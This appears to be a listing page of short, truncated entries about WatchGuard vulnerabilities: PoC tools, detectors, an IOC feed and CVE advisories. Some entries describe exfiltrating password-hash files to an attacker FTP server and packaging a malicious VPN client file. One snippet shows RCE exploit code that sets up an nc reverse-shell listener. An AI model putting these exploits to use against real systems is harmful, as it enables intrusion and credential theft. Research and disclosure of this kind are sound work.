hook

Hook Hook 利用了 WatchGuard SSH 接口中的一个参数注入漏洞。该漏洞允许低权限用户将任意系统文件外泄到攻击者控制的 FTP 服务器。幸运的是，该脚本默认使用一个名为 status 的内置低权限用户。假设 status 用户使用 readonly 作为密码并非不合理，但这不是必需的。 Hook 会外泄用户文件 configd-hash.xml。该文件包含已哈希的用户密码。这些哈希只是未加盐的 MD4。@funoverip 早在 2013 年就描述了使用 hashcat 破解此文件中哈希的方法。 使用示例 root@kitploit:...

Watchguard-RCE-POC-CVE-2022-26318

Watchguard-RCE-POC-CVE-2022-26318 Watchguard RCE POC CVE-2022-26318 此问题的CVE编号是CVE-2022-26318...

WatchGuard Fireware AD Helper Component - Credentials Disclosure

WatchGuard Fireware Threat Detection and Response TDR service contains a credential-disclosure vulnerability in the AD Helper component that allows unauthenticated attackers to gain Active Directory credentials for a Windows domain in plaintext. id: CVE-2020-10532 info: name: WatchGuard Fireware ...

log4shell-iocs

Log4Shell-IOCs 由WatchGuard Threat Lab策划的IOC源，包含最近尝试探测或利用Log4j2中CVE-2021-44228的行为 分析师评论 2021-12-17 此源中分享的威胁应用于THREAT HUNTING并添加到WATCHLIST。我们强烈建议NOT将其添加到阻止列表。...

watchguard-sso-client

Watchguard SSO Agent 漏洞概念验证（CVE-2024-6592、CVE-2024-6593、CVE-2024-6594） 详细信息请参阅我们发布的安全公告： CVE-2024-6592 CVE-2024-6593 CVE-2024-6594 运行该脚本需要 Python click 库。 示例 向 SSO 客户端下发任意命令 子命令 command 可用于向 Watchguard SSO 客户端的 Telnet 接口下发命令。例如，可以获取当前登录用户列表： root@kitploit: $ ./wgclient.py command --host...

cve-2022-31749

CVE-2022-31749 by 1vere$k CVE-2022-31749 的简易 PoC 检测器，作者 1vere$k。 它利用了 WatchGuard SSH 接口中的一个参数注入漏洞。 该漏洞允许低权限用户将任意系统文件外泄到攻击者控制的 FTP 服务器。 幸运的是，脚本默认使用一个名为 status 的内置低权限用户。 假设 status 用户 使用 readonly 密码，这并非不合理，但并非必须。 该利用程序外泄用户文件 configd-hash.xml。 此文件包含哈希后的用户密码。 哈希只是无盐 MD4。@funoverip 早在2013年就描述了使用 hashca...

Watchguard-RCE-POC-CVE-2022-26318

Watchguard-RCE-POC-CVE-2022-26318 PoC for Watchguard CVE-2022-26318 actualizado para funcionar con Python3.12 ya que ssl.wrapsocket está obsoleto. PoC originalmente de https://github.com/h3llk4t3/Watchguard-RCE-POC-CVE-2022-26318/blob/main/POCwg.py...

watchTowr-vs-WatchGuard-CVE-2025-9242

watchTowr-vs-WatchGuard-CVE-2025-9242 用于WatchGuard CVE-2025-9242的检测工件生成器 https://github.com/user-attachments/assets/097f099b-ba60-4223-adea-04279570460f 有关技术细节，请参见我们的博文 实际检测演示 root@kitploit: python watchTowr-vs-WatchGuard-CVE-2025-9242.py --rhost 192.168.56.102 --rport 500 --lhost 192.168.56.1...

watchguard_cve-2022-26318

WatchGuard CVE-2022-26318 WatchGuard RCE POC CVE-2022-26318 !/usr/bin/python3 -- coding: utf-8 - - CVE-2022-26318 import socket import ssl import gzip Remote WatchGuard XTM or FireWare OS RHOST = "1.1.1.1" Local host with nc listener: nc -l 8.8.8.8 8888 LHOST = "8.8.8.8" def buildPayloadLHOST:...

CVE-2025-1910-WatchGuard-Privilege-Escalation

WatchGuard Mobile VPN with SSL 客户端权限提升 CVE-2025-1910 WatchGuard Mobile VPN with SSL 版本 MD5SUM 打包为 .wgssl 文件 tar -czf ../clientexploit.wgssl client.ovpn MD5SUM run.bat cd .. 5. 通过 flask 提供恶意的 client.wgssl 文件： root@kitploit: 启动 flask HTTPS 服务器 sudo python3 srv.py （可选）可以通过 openssl 创建新的证书和密钥对：...

Watchguard_WebUI_Unpacker

Watchguard Fireware Web UI 更新解包器 unpackwatchguard 是一个用于解包此文件格式（sysa-dl）的工具。 watchguardsysadl.ksy 包含 Watchguard Fireware Web 更新文件格式的 Kaitai 描述。 信息 此更新格式用于 WatchGuard Firebox 防火墙。解包器已在 M400 和 M500 系列固件上测试通过。更新文件示例可在此处找到 示例 root@kitploit: ./unpackwatchguard M440.sysa-dl /tmp/hdd.ext2 文件结构查看器 你还可以通过...

CVE-2025-14733

WatchGuard IKEv2 Scanner — CVE-2025-14733 Identifica los dispositivos WatchGuard Firebox vulnerables a CVE-2025-14733, una vulnerabilidad crítica de preautenticación en la implementación de IKEv2 del sistema Fireware OS. Esta herramienta realiza una detección segura de versiones mediante la...

CVE-2026-86135

A Cross-Site Request Forgery CSRF vulnerability in WatchGuard Dimension's database snapshot creation feature allows a remote attacker to trigger unauthorized snapshot creation by tricking an authenticated administrator into visiting a specially crafted web page...

CVE-2026-86135 Dimension CSRF Vulnerability in Database Snapshot Creation Allows Denial of Service

A Cross-Site Request Forgery CSRF vulnerability in WatchGuard Dimension's database snapshot creation feature allows a remote attacker to trigger unauthorized snapshot creation by tricking an authenticated administrator into visiting a specially crafted web page...

EUVD-2026-72790

A Cross-Site Request Forgery CSRF vulnerability in WatchGuard Dimension's database snapshot creation feature allows a remote attacker to trigger unauthorized snapshot creation by tricking an authenticated administrator into visiting a specially crafted web page...

CVE-2026-86135

WatchGuard Dimension is affected by a Cross-Site Request Forgery (CSRF) vulnerability in its database snapshot creation feature. A remote attacker can trick an authenticated administrator into visiting a specially crafted web page, triggering unauthorized snapshot creation that leads to Denial of...

CVE-2026-78614

WatchGuard Dimension contains an authenticated SQL injection vulnerability in the audit report feature which allows an authenticated user with report administration permissions gain arbitrary command execution as the Dimension WebUI process user by sending specially crafted requests...

CVE-2026-78615

A Reflected Cross-Site Scripting XSS vulnerability in WatchGuard Dimension's report detail page allows an attacker to execute arbitrary JavaScript in a authenticated user's browser with a specially crafted URL...

CVE-2026-78616

A Stored Cross-Site Scripting XSS vulnerability in WatchGuard Dimension's Trusted CA certificate configuration allows an authenticated administrator to execute arbitrary JavaScript in another authenticated administrator's web browser by saving a carefully crafted certificate...

CVE-2026-78617

WatchGuard Dimension's web login endpoint does not enforce effective rate-limiting or account lockout by default allowing a remote attacker to perform automated password guessing against user accounts. If the account lockout setting is enabled, brute-force attempts are blocked after a defined...